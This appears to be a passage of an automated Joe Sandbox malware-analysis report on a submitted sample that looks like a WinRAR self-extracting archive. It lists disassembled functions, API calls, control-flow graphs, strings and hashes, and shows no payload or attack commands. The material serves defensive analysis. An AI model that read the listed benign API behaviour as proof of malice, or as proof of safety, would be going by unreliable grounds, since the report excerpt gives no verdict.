                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
                  • String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
                  • API String ID: 788466649-277078469
                  • Opcode ID: 4fb67578908d789cf3187d84624348d1cb6aeaef4db1c7db281015c837ef6827
                  • Instruction ID: afded7e35c5a5cf97daadadbe3154b838c0adfb21634f014814758f4fdc8e209
                  • Opcode Fuzzy Hash: 4fb67578908d789cf3187d84624348d1cb6aeaef4db1c7db281015c837ef6827
                  • Instruction Fuzzy Hash: 0E61057190434CAFD320ABA1EC09B7A3BE9AF45794F015029F645F32A2DB74C945EB62
                  Function 00EF9E1C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100memorywindowCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 770 ef9e1c-ef9e38 FindResourceW 771 ef9f2f-ef9f32 770->771 772 ef9e3e-ef9e50 SizeofResource 770->772 773 ef9e52-ef9e61 LoadResource 772->773 774 ef9e70-ef9e72 772->774 773->774 775 ef9e63-ef9e6e LockResource 773->775 776 ef9f2e 774->776 775->774 777 ef9e77-ef9e8c GlobalAlloc 775->777 776->771 778 ef9f28-ef9f2d 777->778 779 ef9e92-ef9e9b GlobalLock 777->779 778->776 780 ef9f21-ef9f22 GlobalFree 779->780 781 ef9ea1-ef9ebf call eff4b0 CreateStreamOnHGlobal 779->781 780->778 784 ef9f1a-ef9f1b GlobalUnlock 781->784 785 ef9ec1-ef9ee3 call ef9d7b 781->785 784->780 785->784 790 ef9ee5-ef9eed 785->790 791 ef9eef-ef9f03 GdipCreateHBITMAPFromBitmap 790->791 792 ef9f08-ef9f16 790->792 791->792 793 ef9f05 791->793 792->784 793->792
                  APIs
                  • FindResourceW.KERNEL32(00EFAE4D,PNG,?,?,?,00EFAE4D,00000066), ref: 00EF9E2E
                  • SizeofResource.KERNEL32(00000000,00000000,?,?,?,00EFAE4D,00000066), ref: 00EF9E46
                  • LoadResource.KERNEL32(00000000,?,?,?,00EFAE4D,00000066), ref: 00EF9E59
                  • LockResource.KERNEL32(00000000,?,?,?,00EFAE4D,00000066), ref: 00EF9E64
                  • GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00EFAE4D,00000066), ref: 00EF9E82
                  • GlobalLock.KERNEL32(00000000), ref: 00EF9E93
                  • CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00EF9EB7
                  • GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00EF9EFC
                  • GlobalUnlock.KERNEL32(00000000), ref: 00EF9F1B
                  • GlobalFree.KERNEL32(00000000), ref: 00EF9F22
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
                  • String ID: PNG
                  • API String ID: 3656887471-364855578
                  • Opcode ID: 91473e3474df80d2755828fa3b70f08aee4dab4618efd159996912e1209e8644
                  • Instruction ID: bbbef9e641210a1f5ea156639c34a7a407ff0c65b0bcb0bc89afc02c67feceb3
                  • Opcode Fuzzy Hash: 91473e3474df80d2755828fa3b70f08aee4dab4618efd159996912e1209e8644
                  • Instruction Fuzzy Hash: 6A31C17260430AAFC7109F61DC48A7BBBADFF85755B054528FA42F3262DB31DC009A61
                  Function 00EEA5F4 Relevance: 7.6, APIs: 5, Instructions: 107fileCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 966 eea5f4-eea61f call efe360 969 eea691-eea69a FindNextFileW 966->969 970 eea621-eea632 FindFirstFileW 966->970 971 eea69c-eea6aa GetLastError 969->971 972 eea6b0-eea6b2 969->972 973 eea6b8-eea75c call eefe56 call eebcfb call ef0e19 * 3 970->973 974 eea638-eea64f call eeb66c 970->974 971->972 972->973 975 eea761-eea774 972->975 973->975 981 eea66a-eea673 GetLastError 974->981 982 eea651-eea668 FindFirstFileW 974->982 984 eea684 981->984 985 eea675-eea678 981->985 982->973 982->981 987 eea686-eea68c 984->987 985->984 986 eea67a-eea67d 985->986 986->984 989 eea67f-eea682 986->989 987->975 989->987
                  APIs
                  • FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00EEA4EF,000000FF,?,?), ref: 00EEA628
                  • FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00EEA4EF,000000FF,?,?), ref: 00EEA65E
                  • GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00EEA4EF,000000FF,?,?), ref: 00EEA66A
                  • FindNextFileW.KERNEL32(?,?,?,?,?,?,00EEA4EF,000000FF,?,?), ref: 00EEA692
                  • GetLastError.KERNEL32(?,?,?,?,00EEA4EF,000000FF,?,?), ref: 00EEA69E
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: FileFind$ErrorFirstLast$Next
                  • String ID:
                  • API String ID: 869497890-0
                  • Opcode ID: a78931b2e0c9e174f4b3a49dcd9d7ce2734b787b46ff100141fdc7b90a08f924
                  • Instruction ID: 2367b560f3011194bae4316e32dd5209e719402579ceeffd7673ce9b40518225
                  • Opcode Fuzzy Hash: a78931b2e0c9e174f4b3a49dcd9d7ce2734b787b46ff100141fdc7b90a08f924
                  • Instruction Fuzzy Hash: 3E41967150428AAFC720EF68C884ADAF7E8BF49344F09493EF599E3200D734B9548B52
                  Function 00F0753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetCurrentProcess.KERNEL32(00000000,?,00F07513,00000000,00F1BAD8,0000000C,00F0766A,00000000,00000002,00000000), ref: 00F0755E
                  • TerminateProcess.KERNEL32(00000000,?,00F07513,00000000,00F1BAD8,0000000C,00F0766A,00000000,00000002,00000000), ref: 00F07565
                  • ExitProcess.KERNEL32 ref: 00F07577
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Process$CurrentExitTerminate
                  • String ID:
                  • API String ID: 1703294689-0
                  • Opcode ID: 1687bde8c091f2f892a53228a21ceaff50f738d7a7a6f907b99c0314c53ca173
                  • Instruction ID: b347d47fef856ad5d40ead8b8ee01f236e6979182e0170a761448248d693f0f0
                  • Opcode Fuzzy Hash: 1687bde8c091f2f892a53228a21ceaff50f738d7a7a6f907b99c0314c53ca173
                  • Instruction Fuzzy Hash: 23E04F31800608AFCF11BF14CD08A993B69EB04351F158054F8059B162CB35EE42FB40
                  Function 00EE857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog_memcmp
                  • String ID:
                  • API String ID: 3004599000-0
                  • Opcode ID: c4047f0c3c1aece616db61aa16c8a16a594b8a3a4cc86c9c05f95e8dd0185a27
                  • Instruction ID: b0de3a2361f33c8c9ba0642ee0cb2a35964ddab1f61b94822acb658bdea20c57
                  • Opcode Fuzzy Hash: c4047f0c3c1aece616db61aa16c8a16a594b8a3a4cc86c9c05f95e8dd0185a27
                  • Instruction Fuzzy Hash: 76822A709042CDAEDF25DB61C985BFAB7E9AF05304F0860BAE95DBB143DB315A44CB50
                  Function 00EFAEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EFAEE5
                    • Part of subcall function 00EE130B: GetDlgItem.USER32(00000000,00003021), ref: 00EE134F
                    • Part of subcall function 00EE130B: SetWindowTextW.USER32(00000000,00F135B4), ref: 00EE1365
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prologItemTextWindow
                  • String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
                  • API String ID: 810644672-3870082069
                  • Opcode ID: 7228dd94c4c622022b54b9f9b6d4c466b64877728b848b4050dd7f128a473a3b
                  • Instruction ID: be77028ee2e5ec15817bb34b7a9bc7d7d0210437d341d60c8bdb13b1e488f8bd
                  • Opcode Fuzzy Hash: 7228dd94c4c622022b54b9f9b6d4c466b64877728b848b4050dd7f128a473a3b
                  • Instruction Fuzzy Hash: AD42F6B194428CBFEB21ABA0DC49FBE7BBCAB11744F405164F705B61E1CB744A45EB22
                  Function 00EF00CF Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 317libraryfileloaderCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 257 ef00cf-ef00ee call efe360 GetModuleHandleW 260 ef0154-ef03b2 257->260 261 ef00f0-ef0107 GetProcAddress 257->261 262 ef03b8-ef03c3 call f070dd 260->262 263 ef0484-ef04b3 GetModuleFileNameW call eebc85 call eefe56 260->263 264 ef0109-ef011f 261->264 265 ef0121-ef0131 GetProcAddress 261->265 262->263 274 ef03c9-ef03fa GetModuleFileNameW CreateFileW 262->274 279 ef04b5-ef04bf call eeacf5 263->279 264->265 265->260 268 ef0133-ef0152 265->268 268->260 276 ef03fc-ef040a SetFilePointer 274->276 277 ef0478-ef047f CloseHandle 274->277 276->277 280 ef040c-ef0429 ReadFile 276->280 277->263 285 ef04cc 279->285 286 ef04c1-ef04c5 call ef0085 279->286 280->277 282 ef042b-ef0450 280->282 284 ef046d-ef0476 call eefbd8 282->284 284->277 291 ef0452-ef046c call ef0085 284->291 290 ef04ce-ef04d0 285->290 292 ef04ca 286->292 293 ef04f2-ef0518 call eebcfb GetFileAttributesW 290->293 294 ef04d2-ef04f0 CompareStringW 290->294 291->284 292->290 295 ef051a-ef051e 293->295 301 ef0522 293->301 294->293 294->295 295->279 299 ef0520 295->299 302 ef0526-ef0528 299->302 301->302 303 ef052a 302->303 304 ef0560-ef0562 302->304 305 ef052c-ef0552 call eebcfb GetFileAttributesW 303->305 306 ef066f-ef0679 304->306 307 ef0568-ef057f call eebccf call eeacf5 304->307 313 ef055c 305->313 314 ef0554-ef0558 305->314 317 ef05e7-ef061a call ee400a AllocConsole 307->317 318 ef0581-ef05e2 call ef0085 * 2 call eeddd1 call ee400a call eeddd1 call ef9f35 307->318 313->304 314->305 316 ef055a 314->316 316->304 323 ef061c-ef0661 GetCurrentProcessId AttachConsole call f035b3 GetStdHandle WriteConsoleW Sleep FreeConsole 317->323 324 ef0667-ef0669 ExitProcess 317->324 318->324 323->324
                  APIs
                  • GetModuleHandleW.KERNEL32(kernel32), ref: 00EF00E4
                  • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00EF00F6
                  • GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00EF0127
                  • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00EF03D4
                  • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EF03F0
                  • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EF0402
                  • ReadFile.KERNEL32(00000000,?,00007FFE,00F13BA4,00000000), ref: 00EF0421
                  • CloseHandle.KERNEL32(00000000), ref: 00EF0479
                  • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00EF048F
                  • CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00EF04E7
                  • GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 00EF0510
                  • GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 00EF054A
                    • Part of subcall function 00EF0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00EF00A0
                    • Part of subcall function 00EF0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00EEEB86,Crypt32.dll,00000000,00EEEC0A,?,?,00EEEBEC,?,?,?), ref: 00EF00C2
                  • _swprintf.LIBCMT ref: 00EF05BE
                  • _swprintf.LIBCMT ref: 00EF060A
                    • Part of subcall function 00EE400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00EE401D
                  • AllocConsole.KERNEL32 ref: 00EF0612
                  • GetCurrentProcessId.KERNEL32 ref: 00EF061C
                  • AttachConsole.KERNEL32(00000000), ref: 00EF0623
                  • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00EF0649
                  • WriteConsoleW.KERNEL32(00000000), ref: 00EF0650
                  • Sleep.KERNEL32(00002710), ref: 00EF065B
                  • FreeConsole.KERNEL32 ref: 00EF0661
                  • ExitProcess.KERNEL32 ref: 00EF0669
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
                  • String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
                  • API String ID: 1201351596-3298887752
                  • Opcode ID: c65d6c7ed49d533ff5c242bddb7b3a388c5af100e4fa9cff00bf8561f95258c6
                  • Instruction ID: f38d67c16905199f6a65215451695f746d1a09f9ea1e7d36479dd5b6818bcdfa
                  • Opcode Fuzzy Hash: c65d6c7ed49d533ff5c242bddb7b3a388c5af100e4fa9cff00bf8561f95258c6
                  • Instruction Fuzzy Hash: AED185B1108388ABD731DF51D849BEFBBE8BB84704F11491CF689A6142D7B09688AF53
                  Function 00EFBDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429windowCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 406 efbdf5-efbe0d call efe28c call efe360 411 efbe13-efbe3d call efaa36 406->411 412 efca90-efca9d 406->412 411->412 415 efbe43-efbe48 411->415 416 efbe49-efbe57 415->416 417 efbe58-efbe6d call efa6c7 416->417 420 efbe6f 417->420 421 efbe71-efbe86 call ef17ac 420->421 424 efbe88-efbe8c 421->424 425 efbe93-efbe96 421->425 424->421 426 efbe8e 424->426 427 efca5c-efca87 call efaa36 425->427 428 efbe9c 425->428 426->427 427->416 443 efca8d-efca8f 427->443 429 efc115-efc117 428->429 430 efc074-efc076 428->430 431 efbea3-efbea6 428->431 432 efc132-efc134 428->432 429->427 434 efc11d-efc12d SetWindowTextW 429->434 430->427 436 efc07c-efc088 430->436 431->427 437 efbeac-efbf06 call ef9da4 call eeb965 call eea49d call eea5d7 call ee70bf 431->437 432->427 435 efc13a-efc141 432->435 434->427 435->427 439 efc147-efc160 435->439 440 efc09c-efc0a1 436->440 441 efc08a-efc09b call f07168 436->441 494 efc045-efc05a call eea52a 437->494 444 efc168-efc176 call f035b3 439->444 445 efc162 439->445 448 efc0ab-efc0b6 call efab9a 440->448 449 efc0a3-efc0a9 440->449 441->440 443->412 444->427 462 efc17c-efc185 444->462 445->444 453 efc0bb-efc0bd 448->453 449->453 455 efc0bf-efc0c6 call f035b3 453->455 456 efc0c8-efc0e8 call f035b3 call f035de 453->456 455->456 481 efc0ea-efc0f1 456->481 482 efc101-efc103 456->482 466 efc1ae-efc1b1 462->466 467 efc187-efc18b 462->467 469 efc1b7-efc1ba 466->469 470 efc296-efc2a4 call eefe56 466->470 467->466 472 efc18d-efc195 467->472 475 efc1bc-efc1c1 469->475 476 efc1c7-efc1e2 469->476 491 efc2a6-efc2ba call f017cb 470->491 472->427 479 efc19b-efc1a9 call eefe56 472->479 475->470 475->476 495 efc22c-efc233 476->495 496 efc1e4-efc21e 476->496 479->491 488 efc0f8-efc100 call f07168 481->488 489 efc0f3-efc0f5 481->489 482->427 490 efc109-efc110 call f035ce 482->490 488->482 489->488 490->427 505 efc2bc-efc2c0 491->505 506 efc2c7-efc318 call eefe56 call efa8d0 GetDlgItem SetWindowTextW SendMessageW call f035e9 491->506 512 efbf0b-efbf1f SetFileAttributesW 494->512 513 efc060-efc06f call eea4b3 494->513 502 efc235-efc24d call f035b3 495->502 503 efc261-efc284 call f035b3 * 2 495->503 529 efc222-efc224 496->529 530 efc220 496->530 502->503 516 efc24f-efc25c call eefe2e 502->516 503->491 534 efc286-efc294 call eefe2e 503->534 505->506 511 efc2c2-efc2c4 505->511 540 efc31d-efc321 506->540 511->506 517 efbfc5-efbfd5 GetFileAttributesW 512->517 518 efbf25-efbf58 call eeb4f7 call eeb207 call f035b3 512->518 513->427 516->503 517->494 527 efbfd7-efbfe6 DeleteFileW 517->527 549 efbf6b-efbf79 call eeb925 518->549 550 efbf5a-efbf69 call f035b3 518->550 527->494 533 efbfe8-efbfeb 527->533 529->495 530->529 537 efbfef-efc01b call ee400a GetFileAttributesW 533->537 534->491 547 efbfed-efbfee 537->547 548 efc01d-efc033 MoveFileW 537->548 540->427 544 efc327-efc33b SendMessageW 540->544 544->427 547->537 548->494 551 efc035-efc03f MoveFileExW 548->551 549->513 556 efbf7f-efbfbe call f035b3 call eff350 549->556 550->549 550->556 551->494 556->517
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EFBDFA
                    • Part of subcall function 00EFAA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00EFAAFE
                  • SetWindowTextW.USER32(?,?), ref: 00EFC127
                  • _wcsrchr.LIBVCRUNTIME ref: 00EFC2B1
                  • GetDlgItem.USER32(?,00000066), ref: 00EFC2EC
                  • SetWindowTextW.USER32(00000000,?), ref: 00EFC2FC
                  • SendMessageW.USER32(00000000,00000143,00000000,00F2A472), ref: 00EFC30A
                  • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00EFC335
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
                  • String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
                  • API String ID: 3564274579-312220925
                  • Opcode ID: ff4d92ee98b80a6729ad9414c20b8e3ce8fb300eabd9a3df2b14f4cbe81c444b
                  • Instruction ID: e3fa8a58ec3ed5ed89bc9f6a38c50836dd5df3c580e7d0441761d4b2eea3e932
                  • Opcode Fuzzy Hash: ff4d92ee98b80a6729ad9414c20b8e3ce8fb300eabd9a3df2b14f4cbe81c444b
                  • Instruction Fuzzy Hash: 7EE1A176D0061CAADB25DBA0DD45DFB77BCAF08314F2054A6F609F30A0EB749B849B50
                  Function 00EED341 Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 555COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 561 eed341-eed378 call efe28c call efe360 call f015e8 568 eed37a-eed3a9 GetModuleFileNameW call eebc85 call eefe2e 561->568 569 eed3ab-eed3b4 call eefe56 561->569 572 eed3b9-eed3dd call ee9619 call ee99b0 568->572 569->572 580 eed3e3-eed3eb 572->580 581 eed7a0-eed7a6 call ee9653 572->581 583 eed3ed-eed405 call ef3781 * 2 580->583 584 eed409-eed438 call f05a90 * 2 580->584 585 eed7ab-eed7bb 581->585 595 eed407 583->595 594 eed43b-eed43e 584->594 596 eed56c-eed58f call ee9d30 call f035d3 594->596 597 eed444-eed44a call ee9e40 594->597 595->584 596->581 606 eed595-eed5b0 call ee9bf0 596->606 601 eed44f-eed476 call ee9bf0 597->601 607 eed47c-eed484 601->607 608 eed535-eed538 601->608 622 eed5b9-eed5cc call f035d3 606->622 623 eed5b2-eed5b7 606->623 610 eed4af-eed4ba 607->610 611 eed486-eed48e 607->611 612 eed53b-eed55d call ee9d30 608->612 613 eed4bc-eed4c8 610->613 614 eed4e5-eed4ed 610->614 611->610 617 eed490-eed4aa call f05ec0 611->617 612->594 626 eed563-eed566 612->626 613->614 618 eed4ca-eed4cf 613->618 620 eed4ef-eed4f7 614->620 621 eed519-eed51d 614->621 637 eed4ac 617->637 638 eed52b-eed533 617->638 618->614 625 eed4d1-eed4e3 call f05808 618->625 620->621 627 eed4f9-eed513 call f05ec0 620->627 621->608 628 eed51f-eed522 621->628 622->581 642 eed5d2-eed5ee call ef137a call f035ce 622->642 629 eed5f1-eed5f8 623->629 625->614 644 eed527 625->644 626->581 626->596 627->581 627->621 628->607 633 eed5fc-eed625 call eefdfb call f035d3 629->633 634 eed5fa 629->634 651 eed627-eed62e call f035ce 633->651 652 eed633-eed649 633->652 634->633 637->610 638->612 642->629 644->638 651->581 654 eed64f-eed65d 652->654 655 eed731-eed757 call eece72 call f035ce * 2 652->655 656 eed664-eed669 654->656 692 eed759-eed76f call ef3781 * 2 655->692 693 eed771-eed79d call f05a90 * 2 655->693 659 eed66f-eed678 656->659 660 eed97c-eed984 656->660 662 eed67a-eed67e 659->662 663 eed684-eed68b 659->663 664 eed98a-eed98e 660->664 665 eed72b-eed72e 660->665 662->660 662->663 667 eed880-eed891 call eefcbf 663->667 668 eed691-eed6b6 663->668 669 eed9de-eed9e4 664->669 670 eed990-eed996 664->670 665->655 694 eed976-eed979 667->694 695 eed897-eed8c0 call eefe56 call f05885 667->695 674 eed6b9-eed6de call f035b3 call f05808 668->674 672 eeda0a-eeda2a call eece72 669->672 673 eed9e6-eed9ec 669->673 675 eed99c-eed9a3 670->675 676 eed722-eed725 670->676 697 eeda02-eeda05 672->697 673->672 679 eed9ee-eed9f4 673->679 711 eed6f6 674->711 712 eed6e0-eed6ea 674->712 682 eed9ca 675->682 683 eed9a5-eed9a8 675->683 676->656 676->665 679->676 687 eed9fa-eeda01 679->687 686 eed9cc-eed9d9 682->686 690 eed9aa-eed9ad 683->690 691 eed9c6-eed9c8 683->691 686->676 687->697 699 eed9af-eed9b2 690->699 700 eed9c2-eed9c4 690->700 691->686 692->693 693->581 694->660 695->694 720 eed8c6-eed93c call ef1596 call eefdfb call eefdd4 call eefdfb call f058d9 695->720 706 eed9be-eed9c0 699->706 707 eed9b4-eed9b8 699->707 700->686 706->686 707->679 713 eed9ba-eed9bc 707->713 718 eed6f9-eed6fd 711->718 712->711 717 eed6ec-eed6f4 712->717 713->686 717->718 718->674 721 eed6ff-eed706 718->721 754 eed93e-eed947 720->754 755 eed94a-eed95f 720->755 723 eed7be-eed7c1 721->723 724 eed70c-eed71a call eefdfb 721->724 723->667 727 eed7c7-eed7ce 723->727 728 eed71f 724->728 730 eed7d6-eed7d7 727->730 731 eed7d0-eed7d4 727->731 728->676 730->727 731->730 733 eed7d9-eed7e7 731->733 735 eed808-eed830 call ef1596 733->735 736 eed7e9-eed7ec 733->736 743 eed832-eed84e call f035e9 735->743 744 eed853-eed85b 735->744 739 eed7ee-eed803 736->739 740 eed805 736->740 739->736 739->740 740->735 743->728 747 eed85d 744->747 748 eed862-eed87b call eedd6b 744->748 747->748 748->728 754->755 756 eed960-eed967 755->756 757 eed969-eed96d 756->757 758 eed973-eed974 756->758 757->728 757->758 758->756
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EED346
                  • _wcschr.LIBVCRUNTIME ref: 00EED367
                  • GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00EED328,?), ref: 00EED382
                  • __fprintf_l.LIBCMT ref: 00EED873
